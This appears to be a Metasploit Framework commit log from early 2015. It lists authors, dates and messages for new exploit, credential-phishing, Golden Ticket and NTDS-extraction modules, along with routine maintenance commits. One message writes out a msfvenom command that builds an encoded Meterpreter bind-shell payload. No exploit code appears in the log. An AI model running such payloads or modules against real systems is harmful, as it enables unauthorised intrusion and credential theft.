7ee5fd9b32
Fix lotus_domino to use get_cookies correctly.
2015-02-09 17:29:44 -06:00
William Vu
c8a687db7f
Fix false positive in cookie check
2015-02-09 17:23:59 -06:00
Tod Beardsley
4014f1929f
No random names, but store in .msf4/logs
2015-02-09 16:46:02 -06:00
Balazs Bucsay
ac6879cfe1
proper payload encoding from now on
2015-02-09 23:36:35 +01:00
William Vu
4ed3ffa0ed
Fix false positive in snake case check
2015-02-09 16:30:19 -06:00
Balazs Bucsay
c7880ab4e1
hex strings related explanations
2015-02-09 23:21:38 +01:00
Matt Buck
9a445e2027
Land #4707 , updates to finder syntax
...
Updates some Rails 3 style ActiveRecord calls to use the Rails 4 Arel
syntax, in preparation for our move to Rails 4.
Fixes #4707 , also see MSP-12018
2015-02-09 16:01:38 -06:00
Matt Buck
13e8659c45
Bump version of metasploit-credential
...
Bumped version of metasploit-credential to pull in bumped version of
MDM, which fixes some old Rails-3 style ActiveRecord calls.
MSP-12127
2015-02-09 15:46:13 -06:00
Balazs Bucsay
9891026d30
sleep changed to Rex::sleep
2015-02-09 22:33:41 +01:00
jvazquez-r7
4822aa5159
Land #4739 , @zeroSteiner's change to prepend_sleep powershell option check
2015-02-09 15:19:39 -06:00
William Vu
e62f44cc1a
Fix false negative in comment check
...
Adds anchor to regex.
2015-02-09 14:58:02 -06:00
jvazquez-r7
511f637b31
Call CollectGarbage
2015-02-09 14:44:31 -06:00
Tod Beardsley
79abb72589
Add some randomness to the /tmp filename
2015-02-09 14:34:42 -06:00
Spencer McIntyre
2a3855c5af
Skip the psh prepend sleep time error when it is 0
2015-02-09 14:20:04 -05:00
HD Moore
2d129f9163
Clean up socket_logger, record the module name
2015-02-09 12:10:07 -06:00
jvazquez-r7
81cad064ea
Land #4724 , @wchen-r7's AllowWin32SEH's change on alpha encoders
2015-02-09 11:01:00 -06:00
Brent Cook
af405eeb7d
Land #4287 , @timwr's exploit form CVS-2014-3153
2015-02-09 10:33:14 -06:00
Brent Cook
0e4f3b0e80
added built data/exploits/CVE-2014-3153.elf
2015-02-09 09:50:31 -06:00
sinn3r
592fa17587
Merge pull request #26 from jvazquez-r7/review_4724
...
Make safer Change AllowWin32SEH
2015-02-09 09:48:22 -06:00
jvazquez-r7
831a1494ac
Keep default behavior for modules forcing Msf::Encoder::Type::AlphanumUpper
2015-02-08 18:29:25 -06:00
jvazquez-r7
3e7e9ae99b
Keep default behavior for modules forcing Msf::Encoder::Type::AlphanumMixed
2015-02-08 18:22:11 -06:00
Meatballs
133ae4cd04
Land #4679 , Windows Post Gather File from raw NTFS.
2015-02-08 18:50:50 +00:00
Meatballs
69e53a46cb
Final tidyups, description etc
2015-02-08 18:49:17 +00:00
Meatballs
9518090b8b
Ignore some error conditions
2015-02-08 18:46:48 +00:00
Bazin Danil
cc4fc1aefa
use GetFileAttributesW and CreateFileW
2015-02-08 17:36:49 +01:00
Bazin Danil
8cefe637df
bug with testing Win2k8 correction
2015-02-08 17:28:33 +01:00
Tod Beardsley
1f7bee35b5
Land #4731 , fix fail_with message
2015-02-07 22:27:17 -06:00
Tod Beardsley
a5b2e99136
Correct punctuation on outlook, too.
2015-02-07 22:26:14 -06:00
Christian Mehlmauer
6d46182c2f
Land #4570 , @rastating 's module for wp-easycart
2015-02-07 23:42:23 +01:00
Christian Mehlmauer
f2b834cebe
remove check because the vuln is unpatched
2015-02-07 23:38:44 +01:00
Christian Mehlmauer
d2421a2d75
wrong version
2015-02-07 23:34:19 +01:00
Christian Mehlmauer
56d2bc5adb
correct version number
2015-02-07 23:22:43 +01:00
wez3
1390c81420
Fix fail_with text
...
Fix fail_with text, when the target system is locked.
2015-02-07 21:20:24 +01:00
rastating
345d5c5c08
Update version numbers to reflect latest release
2015-02-07 19:09:16 +00:00
HD Moore
b1726fd609
Missing comma
2015-02-07 11:56:22 -06:00
HD Moore
8d982e3286
Pass the framework/module down into LoginScanner
2015-02-07 11:50:30 -06:00
HD Moore
985641dbc4
Add missing Context, fixes #4723
2015-02-07 11:27:57 -06:00
danilbaz
dc94e9fb6e
Merge pull request #1 from Meatballs1/ntfs_read
...
Small tidyup
2015-02-07 16:53:37 +01:00
Meatballs
358ab2590e
Small tidyup
2015-02-07 11:35:47 +00:00
sinn3r
c20a81217c
More work for nessus-xmlrpc.rb
2015-02-07 00:09:02 -06:00
jvazquez-r7
87775c6ee4
Fix description
2015-02-06 23:55:27 -06:00
jvazquez-r7
76387eebe0
Use File.open
2015-02-06 21:35:07 -06:00
sinn3r
e8ba0b7c31
Fix broken commands
2015-02-06 19:07:43 -06:00
William Vu
eb4226dbbb
Land #4727 , README.md Travis badge fix
2015-02-06 18:24:23 -06:00
jvazquez-r7
1ea4a326c1
Land #4656 , @nanomebia's fixes for sugarcrm_unserialize_exec
2015-02-06 16:42:01 -06:00
jvazquez-r7
e511f72ab4
Delete final check
...
* A session is the best proof of success
2015-02-06 16:34:34 -06:00
Matt Buck
531743eff1
Land #4697 , updates to finder syntax
...
Updates some Rails 3 style ActiveRecord calls to use the Rails 4 Arel
syntax, in preparation for our move to Rails 4.
Fixes #4697 , also see MSP-12016
2015-02-06 15:41:11 -06:00
Tod Beardsley
dbd23af614
Fix README.md Travis badge
2015-02-06 15:18:11 -06:00
jvazquez-r7
a46a53acaf
Provide more space for the payload
2015-02-06 14:49:49 -06:00
Sonny Gonzalez
0fc4e09466
Rails 4 finder conversions
...
MSP-12017
* covert all(options), mapping options hashes to the
appropirate Rails 4 methods
2015-02-06 13:51:48 -06:00
sinn3r
a543d957d4
Fix #4717 - Change AllowWin32SEH's default to false
...
This is patch to change AllowWin32SEH to false.
Root cause:
The truely intended behavior is that if the user doesn't set a
BufferRegister and the encoder is for Windows, the AllowWin32SEH
code should kick in.
The problem here is that msfencode and msfvenom handle the platform
information differently, so we get different results.
With msfencode, the platform information isn't passed when alpha_mixed
is used, so even if you're using the encoder for Win32, the encoder
doesn't actually know about this. But everything works out just fine
anyway because people don't actually rely on AllowWin32SEH.
With msfvenom, the platform information is passed, so the encoder
actually knows it's for Windows. The two conditions are met (regster
and platform), so AllowWin32SEH kicks in. However, the AllowWin32SEH
technique enforces the BufferRegister to ECX, and that there's no
GetPC, so by default this isn't going to work.
The solution:
We are actually better off with setting AllowWin32SEH to false, mainly
because the SEH technique is pretty much dead (congrats MSFT!). And we
want the GetPC routine by default.
If people want to use AllowWin32SEH routine, they can simply set
AllowWin32SEH to true to bring it right back. For example:
e = framework.encoders.create('x86/alpha_mixed')
e.datastore.import_options_from_hash({'AllowWin32SEH'=>true})
buf = e.encode("AAAA", nil, nil, ::Msf::Module::PlatformList.win32)
Or in msfvenom:
msfvenom -p windows/meterpreter/bind_tcp -e x86/alpha_mixed
AllowWin32SEH=true -f raw
Fix #4717
2015-02-06 12:38:04 -06:00
jvazquez-r7
414349972f
Fix comment
2015-02-06 11:34:20 -06:00
jvazquez-r7
f6933ed02c
Add module for EDB-35948
2015-02-06 11:05:29 -06:00
jvazquez-r7
b5e230f838
Add javascript exploit
2015-02-06 11:04:59 -06:00
Sonny Gonzalez
1051f0fb82
Rails 4 finder conversion
...
MSP-12012
* convert find(:first, options) by mapping options
to methods
2015-02-06 10:15:50 -06:00
Sonny Gonzalez
9a53859a77
Rails 4 finder conversion
...
MSP-12012
* covert find(:first) to first
2015-02-06 10:13:14 -06:00
Tod Beardsley
036cb77dd0
Land #4709 , fixed up some datastore mangling
2015-02-05 21:22:38 -06:00
wvu-r7
fb3422c221
Merge pull request #10 from todb-r7/land-4709-datastore
...
Fix datastore mangling with instance variables
2015-02-05 21:09:54 -06:00
Tod Beardsley
7e649a919c
This version will actually work.
2015-02-05 21:00:54 -06:00
Tod Beardsley
3e0ce4a955
Fix datastore mangling with instance variables
...
See rapid7/metasploit-framework #4709
2015-02-05 20:37:18 -06:00
Spencer McIntyre
4e0a62cb3a
Land #4664 , MS14-070 Server 2003 tcpip.sys priv esc
2015-02-05 18:49:15 -05:00
Spencer McIntyre
a359fe9acc
Minor fixup on the ms14-070 module description
2015-02-05 18:41:58 -05:00
Tod Beardsley
f8c81e601c
Land #4710 for real.
...
This isn't a proper merge commit. Will need to figure out what I did to
wang up the last landing -- I'm guessing I didn't fetch enough first.
This should fix #4710 .
2015-02-05 17:18:51 -06:00
Tod Beardsley
0a587c9f5a
Land #4710 , really
...
Looks like my publish script ended up rebasing wchen-r7/aux_ie_uxss and
didn't catch the file rename correctly.
Conflicts:
modules/auxiliary/gather/ie_uxss_injection.rb
2015-02-05 17:13:53 -06:00
Tod Beardsley
be20714019
Land #4710 , @wchen-r7's IE 10/11 UXSS module
2015-02-05 17:09:12 -06:00
sinn3r
79e0ddadf6
Rename file again
2015-02-05 17:09:11 -06:00
sinn3r
97aa9f9dd2
Credit @joevennix
2015-02-05 17:09:11 -06:00
sinn3r
7585c625fa
Another update
...
Thanks @joevennix
2015-02-05 17:09:11 -06:00
sinn3r
12aadb3132
Another update
2015-02-05 17:09:10 -06:00
sinn3r
17f2d8048d
Another update
2015-02-05 17:09:10 -06:00
sinn3r
01252078ea
Use store_loot to store coookie
2015-02-05 17:09:10 -06:00
sinn3r
6fd38307e7
An update
2015-02-05 17:09:10 -06:00
sinn3r
727fc51c0b
Don't need this line
2015-02-05 17:09:10 -06:00
sinn3r
4924749b96
Try to make the filename more self explanatory
2015-02-05 17:09:09 -06:00
sinn3r
26af10c3b6
Change public ip option name and store cookie to db
2015-02-05 17:09:09 -06:00
sinn3r
bfa7b61663
Final
2015-02-05 17:09:09 -06:00
sinn3r
b90515ae5d
IE UXSS
2015-02-05 17:09:09 -06:00
KoreLogicSecurity
4fabe85099
Merge pull request #1 from zeroSteiner/land-4664
...
MS14-070 Changes
2015-02-05 17:30:23 -05:00
Bazin Danil
970c5d115a
spellcheck
2015-02-05 22:08:39 +01:00
sinn3r
d16cc843b2
Correct disclosure date
2015-02-05 15:00:13 -06:00
sinn3r
0955e14dad
Final, really, I think
2015-02-05 14:59:24 -06:00
Samuel Huckins
a9b084c3ad
Pulling in latest MDM and credential versions
...
* Fully removing service uniqueness validation for now, more work to be
done on that to avoid regressions.
2015-02-05 14:06:30 -06:00
Samuel Huckins
37ef46264a
Pulling in latest MDM and credential versions
...
* Fully removing service uniqueness validation for now, more work to be
done on that to avoid regressions.
2015-02-05 14:05:24 -06:00
William Vu
3b28b23e2e
Land #4712 , @todb-r7's release fixes
2015-02-05 13:18:09 -06:00
Spencer McIntyre
dc13446536
Forgot to comment ret instruction
2015-02-05 14:09:01 -05:00
sinn3r
578423501a
Another update
2015-02-05 13:08:33 -06:00
Spencer McIntyre
5a39ba32f6
Make the ret instruction for token stealing optional
2015-02-05 14:00:38 -05:00
Spencer McIntyre
dabc163076
Modify the shellcode stub to save the process
2015-02-05 13:54:52 -05:00
Tod Beardsley
c633c710bc
Mostly caps/grammar/spelling, GoodRanking on MBAM
2015-02-05 12:36:47 -06:00
sinn3r
562063c4d5
Rename file again
2015-02-05 12:26:17 -06:00
sinn3r
80ebde4fe1
Credit @joevennix
2015-02-05 12:25:38 -06:00
sinn3r
27b8d1057f
Another update
...
Thanks @joevennix
2015-02-05 12:23:32 -06:00
sinn3r
988b54f594
Another update
2015-02-05 12:01:19 -06:00
sinn3r
53134aeb17
Another update
2015-02-05 11:46:38 -06:00
sinn3r
871c8aa8d0
Use store_loot to store coookie
2015-02-05 11:36:35 -06:00
sinn3r
dbe99014f2
An update
2015-02-05 11:29:52 -06:00
root
2744db4d11
Add nessus_scan_export and nessus_scan_export_status methods
2015-02-05 22:18:22 +05:00
sinn3r
08d796c5e3
Don't need this line
2015-02-05 10:53:29 -06:00
sinn3r
d6fe077f79
Try to make the filename more self explanatory
2015-02-05 09:53:38 -06:00
sinn3r
ed6ee27896
Change public ip option name and store cookie to db
2015-02-05 09:48:45 -06:00
sinn3r
75c697c4dc
Final
2015-02-05 04:36:44 -06:00
sinn3r
1ccfb6cb43
IE UXSS
2015-02-05 03:03:28 -06:00
William Vu
b43522a2b8
Fix scadapro_cmdexe datastore
2015-02-05 02:54:03 -06:00
William Vu
a12d1244b9
Fix zenworks_helplauncher_exec datastore
2015-02-05 02:53:47 -06:00
William Vu
148ffaf55f
Fix real_arcade_installerdlg datastore
2015-02-05 02:53:38 -06:00
William Vu
a7156cf4a8
Fix zabbix_script_exec datastore
2015-02-05 02:53:22 -06:00
William Vu
9c1487c944
Fix dns_fuzzer datastore
2015-02-05 02:53:14 -06:00
William Vu
c22865fb71
Fix nexpose_xxe_file_read datastore
2015-02-05 02:53:00 -06:00
scriptjunkie
5b2eb986c9
Land #4678 Add post module to phish credentials
2015-02-04 23:43:02 -06:00
sinn3r
434bca0b27
Land #4613 , auxiliary/server/capture/smb credential creation
2015-02-04 22:45:36 -06:00
Spencer McIntyre
aebf5056ac
Dont compare a string to an integer
2015-02-04 16:55:43 -05:00
Tod Beardsley
47d4acd91d
Land #4605 , Malwarebytes fake update exploit
2015-02-04 10:28:17 -06:00
jvazquez-r7
72007a5daa
Land #4708 , @julianvilas's fix for struts_code_exec_classloader HTTP requests
2015-02-04 09:47:52 -06:00
jvazquez-r7
fbf32669c6
Use single quote
2015-02-04 09:47:27 -06:00
julianvilas
de09559cc8
Change HTTP requests to succeed when going through HTTP proxies
2015-02-04 15:32:14 +01:00
Gabor Seljan
99f5b4bf00
Merge pull request #4 from todb-r7/land-4605-malwarebytes
...
Malwarebytes poisoned update fixes
2015-02-04 10:57:45 +01:00
sinn3r
df22ed2132
Land #4702 , Fix bug in Firefox XPCOM payload on Linux
2015-02-03 21:36:01 -06:00
jvazquez-r7
c366e7777d
Delete ternary operators
2015-02-03 17:43:00 -06:00
jvazquez-r7
c0e1440572
Land #4685 , @FireFart's module for Wordpress Platform Theme RCE
2015-02-03 17:35:59 -06:00
jvazquez-r7
28f303d431
Decrease timeout
2015-02-03 17:33:29 -06:00
jvazquez-r7
34717d166d
Fix typo
2015-02-03 17:12:54 -06:00
jvazquez-r7
a1c157a4db
Land #4609 , @h0ng10's module for Wordpress Pixabay Images PHP Code Upload
2015-02-03 17:01:32 -06:00
jvazquez-r7
eebee7c066
Do better session creation handling
2015-02-03 17:00:37 -06:00
jvazquez-r7
4ca4fd1be2
Allow to provide the traversal depth
2015-02-03 16:38:40 -06:00
jvazquez-r7
e62a5a4fff
Make the calling payload code easier
2015-02-03 16:23:04 -06:00
jvazquez-r7
61cdb5dfc9
Change filename
2015-02-03 16:13:10 -06:00
Christian Catalan
3deac54d3f
Convert find_or_initialize_by_X to Rails 4 compatible.
...
MSP-12018
2015-02-03 16:09:49 -06:00
jvazquez-r7
82be43ea58
Do minor cleanup
2015-02-03 16:07:27 -06:00
William Vu
8a17acf847
Land #4699 , fresh terp binaries from @bcook-r7
2015-02-03 15:46:28 -06:00
Samuel Huckins
c2d8337dd1
Merge branch 'master' into release
2015-02-03 15:30:42 -06:00
jvazquez-r7
82eeec0946
Delete comments
2015-02-03 15:25:52 -06:00
jvazquez-r7
52616a069a
Add support for NTLMSSP
2015-02-03 15:25:02 -06:00
Tod Beardsley
b5794db973
Spelling
2015-02-03 14:10:47 -06:00
Tod Beardsley
edd5ec3b0d
Refactor and rename of @sgabe's module
...
Renamed because it's not just MBAM, and having malwarebytes in the name
is more memorable anyway.
This refactor's @sgabe's original module to prefer if/else over
unless/else, clearly labelling variables, and wrapping up discrete
functionality into specific methods, and adds an OSVDB and the original
discoverer's URL.
2015-02-03 14:08:25 -06:00
William Vu
07438d3ec4
Land #4704 , Asterisk 1.8 support for IAX2 stack
...
https://github.com/rapid7/warvox/issues/27
2015-02-02 23:11:06 -06:00
HD Moore
ffe0e52cb6
The iax2 stack now works properly with asterisk 1.8
...
Note that the requirecalltoken=no setting is still required in the asterisk configuration at this point.
2015-02-02 22:29:13 -06:00
William Vu
ef216059df
Land #4703 , IAX2 self.debugging for dprint
...
Needs to be set for iaxrecord.rb -d to work.
2015-02-02 21:52:24 -06:00
HD Moore
0ba34422d5
Pass the debugging option for IAX2 Client
2015-02-02 21:08:16 -06:00
joev
ee1af83cc8
Go ahead and trim whitespace on all commands coming in.
2015-02-02 16:56:22 -06:00
William Vu
54a5dd69a9
Land #4698 , WP GHOST scanner dead code removal
2015-02-02 16:54:09 -06:00
Brent Cook
8934854f4d
Land #4701 , @wvu-r7 decollides search_filter, fixing slow searches
2015-02-02 16:49:40 -06:00
William Vu
9e030143e7
Fix slow search due to method name conflict
...
Changed "search_filter" in enum_ad_users module to "query_filter" to
avoid conflicting with "search_filter" in command_dispatcher/core.rb.
2015-02-02 16:36:20 -06:00
Brent Cook
2fdeeb3b13
Rebuilt Java Payloads with the latest NDK/SDK and meterpreter-javapayload
...
Fix rapid7/meterpreter#95 , rebuilt with all outstanding PRs from
rapid7/metasploit-javapayload.
2015-02-02 13:09:15 -06:00
Christian Mehlmauer
c8864c93d7
remove unused code
2015-02-02 20:04:10 +01:00
Christian Catalan
797b5d0d55
Convert #find_or_create_by_x to #where().first_or_create
...
MSP-12016
2015-02-02 12:22:26 -06:00
Trevor Rosen
dda87667c9
Land #4688 , fix for pcap magic number on 2.x
2015-02-02 11:00:13 -06:00
William Vu
d5c61c01f5
Land #4694 , uninit Rex::OLE fix
2015-02-02 05:33:40 -06:00
sinn3r
26a836f5a2
Land #4692 - ms15_004_tswbproxy exploit
2015-02-02 01:21:19 -06:00
sinn3r
9112e70187
Fix #4693 - Uninit Rex::OLE in MS14-064 exploits
...
Fix #4693
2015-02-02 00:20:34 -06:00
jvazquez-r7
aa7f7d4d81
Add DLL source code
2015-02-01 19:59:10 -06:00
jvazquez-r7
d211488e5d
Add Initial version
2015-02-01 19:47:58 -06:00
jvazquez-r7
d0cf316758
Land #4659 , @pedrib's ManageEngine directory listing module
2015-02-01 14:19:46 -06:00
jvazquez-r7
128ca47aa7
Fix banner
2015-02-01 14:19:03 -06:00
jvazquez-r7
41232c0f91
Land #4758 , @pedrib's ManageEngine arbitrary file download module
2015-02-01 14:17:04 -06:00
jvazquez-r7
361aaa7551
Fix banner
2015-02-01 14:16:09 -06:00
wez3
904a99965d
Sleep 1 added
...
Sleep 1 added to reduce network usage
2015-02-01 11:55:01 +01:00
Pedro Ribeiro
39a25fc549
Update manageengine_file_download.rb
2015-02-01 10:49:48 +00:00
Pedro Ribeiro
e9b5aa94c3
Add OSVDB id and full disclosure URL
2015-02-01 10:49:11 +00:00
root
23af5f8c82
Nessus plugin for REST API
2015-02-01 13:54:35 +05:00
William Vu
7f0af0211d
Land #4682 , exploit/http/server.rb breakup
2015-02-01 01:44:43 -06:00
Samuel Huckins
b56f18ad0d
Land #4689
2015-02-01 01:22:44 -06:00
Samuel Huckins
9e6fd1879e
Fixing order clause
...
MSP-12011
* This was resulting in PGSyntaxError
2015-02-01 01:19:31 -06:00
Samuel Huckins
8a04e37de8
Updating to latest MDM, metasploit-credential
...
Rails 4 compatibility related
2015-02-01 00:49:12 -06:00
Christian Catalan
7d1090baca
Convert #find(:all) to #where or #all
2015-02-01 00:31:58 -06:00
Brandon Turner
ad374c2e4f
Use ASCII-8BIT for comparing pcap magic number
...
In Ruby 2, source files are read as UTF-8 by default. When comparing
PCAP headers, we should use ASCII-8BIT or else the comparison will not
work. This should be backwards compatible with Ruby 1.9.
MSP-12092
2015-01-31 23:57:49 -06:00
Samuel Huckins
00f99b917c
Updating to latest MDM
...
MSP-12014
* Updates find_all_by to where
2015-01-31 21:38:24 -06:00
Christian Catalan
8740fd9015
Convert #find_all_by_X to #where
2015-01-31 21:07:50 -06:00
Christian Mehlmauer
2c956c0a0f
add wordpress platform theme rce
2015-01-31 22:02:44 +01:00
Pedro Ribeiro
1f5535398d
Merge pull request #15 from jvazquez-r7/review_4658
...
Review 4658
2015-01-31 19:49:50 +00:00
Pedro Ribeiro
50c518d763
Merge pull request #14 from jvazquez-r7/review_4659
...
Clean OpManager directory content disclosure module
2015-01-31 19:48:20 +00:00
Bazin Danil
03fcfc496a
add a test to check if the file exist
2015-01-31 06:00:02 +01:00
Bazin Danil
fbb85c0391
using string concatenation for performence
2015-01-31 05:13:44 +01:00
Bazin Danil
2cf9a17f25
variable name clarification (file, file_path, path)
2015-01-31 05:07:07 +01:00
Bazin Danil
5d4a8e2f90
using store_loot
2015-01-31 05:01:28 +01:00
Bazin Danil
d6fb445522
add begin...ensure block so that the CloseHandle call occurs
2015-01-31 04:46:02 +01:00
Bazin Danil
1205c0045f
using r['ErrorMessage']
2015-01-31 04:37:16 +01:00
Bazin Danil
f7d2e2a27a
twitter in comment
2015-01-31 04:36:07 +01:00
Bazin Danil
d9c64397fd
shorter the line, using more variables
2015-01-31 04:32:32 +01:00
Bazin Danil
0fce908045
add constant class
2015-01-31 04:19:27 +01:00
Bazin Danil
f4ec6bdc78
- use non-native pack/unpack directives
...
- coding: binary
- use constant for data_attribute
2015-01-31 03:59:23 +01:00
jvazquez-r7
2c7777f831
Land #4601 , @wchen-r7's tool to lookup md5 hashes
2015-01-30 19:04:34 -06:00
jvazquez-r7
4316c379eb
Use unless instead of if not
2015-01-30 19:01:49 -06:00
jvazquez-r7
3471b43010
Land #4683 , @julianvilas's support for struts 1 on struts_code_exec_classloader
2015-01-30 18:47:56 -06:00
Brent Cook
cf891efc14
Land #4674 , @wvu-r7 teaches msfconsole to read stdin as -
2015-01-30 18:25:09 -06:00
jvazquez-r7
c831de35a2
Land #4392 , @Meatballs1's post module to enumerate AD users
2015-01-30 17:21:10 -06:00
William Vu
fdf88b9563
Land #4639 , incorrect use of #class fixes
...
case uses === internally. :)
2015-01-30 16:57:59 -06:00
Brent Cook
253d8e60dd
Land #4388 , Meatballs1's golden ticket post module
2015-01-30 16:26:04 -06:00
James Lee
1fbed1dcfc
Autoload instead of require
2015-01-30 15:42:16 -06:00
jvazquez-r7
11502bad39
Clean code
2015-01-30 15:26:25 -06:00
James Lee
062529ce3b
Move HttpServer::HTML into its own file
2015-01-30 15:24:15 -06:00
Tod Beardsley
9bb1c359ba
Land #4681 un-Swayze CONTRIBUTING.md
2015-01-30 15:22:43 -06:00
jvazquez-r7
1916c92e3a
Clean metadata
2015-01-30 15:21:17 -06:00
James Lee
3572ce9a37
Break PHPInclude into its own file
2015-01-30 15:16:54 -06:00
William Vu
6e08cc90db
Remove Road House reference
...
I'm not sure most people would get it.
It's not about getting kicked in the face by Patrick Swayze (RIP).
It's actually about being nice.
https://www.youtube.com/watch?v=l0aPIXy6PHM
2015-01-30 15:14:56 -06:00
jvazquez-r7
c9ac56442d
No modify datastore option
2015-01-30 15:05:46 -06:00
jvazquez-r7
bb640b90ef
Refactor login_it360
2015-01-30 15:02:23 -06:00
William Vu
3954c0e3aa
Land #4654 , test module fixes
2015-01-30 15:00:54 -06:00
jvazquez-r7
d4359c4f1c
Rework login_it360 code
2015-01-30 15:00:34 -06:00
William Vu
efd7a8c962
Land #4670 , dns_amp RA flag fix
2015-01-30 14:46:15 -06:00
William Vu
0cc41b1e92
Land #4680 , {CONTRIBUTING,README}.md fixes
2015-01-30 14:43:52 -06:00
Tod Beardsley
dc7aff446a
Fix up README.md and CONTRIBUTING.md
...
* Specifically disclaim scripts
* Prefer end note links
* Pre-fill the issue submission form (check it out:
http://r-7.co/MSF-BUGSv1 )
2015-01-30 14:28:39 -06:00
jvazquez-r7
c5db13fba9
Do minor style fixes
2015-01-30 14:13:11 -06:00
jvazquez-r7
89f760c94e
Clean metadata
2015-01-30 14:08:55 -06:00
wez3
25ac9c1ed9
Add post module to phish windows user credentials
2015-01-30 19:50:04 +01:00
Bazin Danil
68b735dbda
Add a NTFS parser and a post module to dump files
...
This commit add a draft of an NTFS Parser and a post module
to gather file using the raw NTFS device (\\.\C:)
bypassing restriction like already open file with lock
Can be used to retreive file like NTDS.DIT without volume shadow copy
2015-01-30 19:16:44 +01:00
jvazquez-r7
cb076adb19
Land #4675 , @Firefart's scanner for ghost through wordpress xmlrpc
2015-01-30 10:27:18 -06:00
jvazquez-r7
03169f231b
Handle one redirection on wordpress_and_online?
2015-01-30 10:26:23 -06:00
jvazquez-r7
c098de27ee
Do safer body check
2015-01-30 10:22:43 -06:00
jvazquez-r7
bc65d2f526
Make filename compatible with namespace
2015-01-30 10:22:07 -06:00
Brent Cook
89e5a2b892
disable -no-thumb, doesn't work with latest NDK?
2015-01-30 09:36:21 -06:00
Christian Mehlmauer
7504358db3
code style and typos
2015-01-30 15:57:32 +01:00
Christian Mehlmauer
9ce2dd9815
msftidy
2015-01-30 15:41:11 +01:00
Christian Mehlmauer
a0eaf2f626
add wordpress ghost scanner module
2015-01-30 15:29:51 +01:00
Julian Vilas
f983c8171e
Modify description to match both Struts 1.x and 2.x versions
2015-01-30 12:35:38 +01:00
Meatballs
39004d265b
Increase default buffer sizes to reduce railgun calls
2015-01-30 11:20:03 +00:00
Meatballs
6b97618fb2
Improve resolve_sid API calls
2015-01-30 11:20:03 +00:00
Meatballs
02864b4401
Railgun DWORD handling
2015-01-30 11:20:03 +00:00
Meatballs
d4707b8e07
Spellingz
2015-01-30 11:20:03 +00:00
Meatballs
9670608380
Reformat, remove unnecessary guard statement
2015-01-30 11:20:02 +00:00
Meatballs
0e976041b7
Small description fix
2015-01-30 11:20:02 +00:00
Meatballs
14f6ef13f4
Remove hardcoded domain
2015-01-30 11:20:02 +00:00
Meatballs
79a3a48348
Correct description
2015-01-30 11:20:02 +00:00
Meatballs
e492f56ac0
Error if no database
2015-01-30 11:20:02 +00:00
Meatballs
e6dbc15f40
Line length modification
2015-01-30 11:20:02 +00:00
Meatballs
044e3bd608
Golden Ticketz Post module
2015-01-30 11:20:02 +00:00
William Vu
aec0067d14
Land #4673 , screenshot -v hardcoded false fix
2015-01-29 19:40:15 -06:00
William Vu
8f54e4d611
Implement "-" for msfconsole -r from stdin
...
More predictable than /dev/stdin, which is usually a symlink to
/proc/self/fd/0 or /dev/fd/0, but the feature is not guaranteed to be
present.
This isn't *terribly* useful, but it can be. -x is recommended, but it
doesn't allow for ERB directives. This is mostly for hax.
2015-01-29 19:26:56 -06:00
Guillaume Delacour
42ef5716e8
Don't test ra flag to get upward referrals/additional RRs
2015-01-30 02:20:24 +01:00
sinn3r
59eec8f81e
Land #4666 - Improve utility of meterpreter file upload command
...
Fix #4665
2015-01-29 19:12:31 -06:00
sinn3r
823c75908d
Fix #4672 - Fix Hardcoded false for screenshot -v
...
Fix #4672
2015-01-29 16:54:41 -06:00
Julian Vilas
1a11ae4021
Add new references about Struts 1
2015-01-29 23:27:52 +01:00
Balazs Bucsay
64ab11c6ba
Add Achat Beta v0.150 RCE for Win7/XPSP3
2015-01-29 23:20:31 +01:00
Julian Vilas
4cc5844baf
Add Struts 1 support
2015-01-29 23:12:34 +01:00
Guillaume Delacour
2c05b1ee50
Use QUERYTYPE instead of hardcode ANY type
2015-01-29 22:54:06 +01:00
William Vu
7c793f9bbf
Land #4663 , greppable msfvenom -l
...
And --payload-options.
2015-01-29 14:27:46 -06:00
sinn3r
4ad4765350
Merge pull request #25 from wvu-r7/pr/4663
...
Change "Options for" line to stderr
2015-01-29 14:00:23 -06:00
Brent Cook
212aeb9106
Improve utility of meterpreter file upload command
...
Rather than assume that the destination argument is a directory, check
first, and then do the same thing that 'cp' would do.
- If dest exists and is a directory, copy to the directory.
- If dest exists and is a file, copy over the file.
- If dest does not exist and is a directory, fail.
- If dest does not exist and is a file, create the file.
2015-01-29 13:45:15 -06:00
William Vu
6fdd2abc8d
Change "Options for" line to stderr
2015-01-29 13:38:29 -06:00
William Vu
6ecb36df52
Land #4653 , get/set/unset description improvement
2015-01-29 13:28:06 -06:00
Jay Smith
6c529f8f6b
Addressed feedback from @OJ and @zeroSteiner
2015-01-29 11:57:03 -05:00
Nanomebia
79b95aa6dd
Merge pull request #1 from nanomebia/master
...
Fixing Indentation
2015-01-29 13:07:03 +08:00
Nanomebia
d04fd3b978
Fixing Indentation
...
Small indentation fix
2015-01-29 13:03:19 +08:00
sinn3r
b1b59dac7c
Almost forgot this one again
2015-01-28 19:43:56 -06:00
sinn3r
f6238f1ffb
Auto-trim descriptions
2015-01-28 19:42:06 -06:00
sinn3r
ae0214517a
Fix #4662 - Change stderr to stdout so people can grep
...
Fix #4662
2015-01-28 18:23:36 -06:00
sinn3r
9d8d17805d
Land #4661 - Replace direct class comparison with kind_of?
2015-01-28 18:06:43 -06:00
Jay Smith
064ca2d02e
Updated version checking
2015-01-28 18:25:30 -05:00
James Lee
bb17d75425
Replace direct class comparison with kind_of?
2015-01-28 17:00:15 -06:00
Brent Cook
89a0a79377
revert puts back to a vprint call
2015-01-28 16:41:12 -06:00
Samuel Huckins
e5b62e251b
Using latest MDM and credential gems
...
* Had to revert changes related to service uniqueness validation
(MSP-11643) due to newly discovered regressions
2015-01-28 16:18:11 -06:00
Samuel Huckins
8c55b660fc
Using latest MDM and credential gems
...
* Had to revert changes related to service uniqueness validation
(MSP-11643) due to newly discovered regressions
2015-01-28 16:14:48 -06:00
sinn3r
53af758a03
Land #4660 - Add a check() for mssql_payload
2015-01-28 15:47:33 -06:00
sinn3r
0f88d0ad75
Change print_* to vprint_*
...
According to our wiki doc, all print_* should be vprint_* for check()
2015-01-28 15:44:14 -06:00
sinn3r
cc7be4a9c1
Land #4643 - Fix blank username bug in creds -u
...
Fix #4634
2015-01-28 15:31:54 -06:00
Pedro Ribeiro
a806cb401a
Create manageengine_dir_listing.rb
2015-01-28 19:44:48 +00:00
James Lee
51764eb207
Add a check() for mssql_payload
2015-01-28 13:44:16 -06:00
Pedro Ribeiro
62ac536b7d
Create manageengine_file_download.rb
2015-01-28 19:42:17 +00:00
Pedro Ribeiro
299a39a67f
Merge pull request #13 from rapid7/master
...
a
2015-01-28 19:40:55 +00:00
sinn3r
f0742a38e2
The get command too
2015-01-28 12:59:51 -06:00
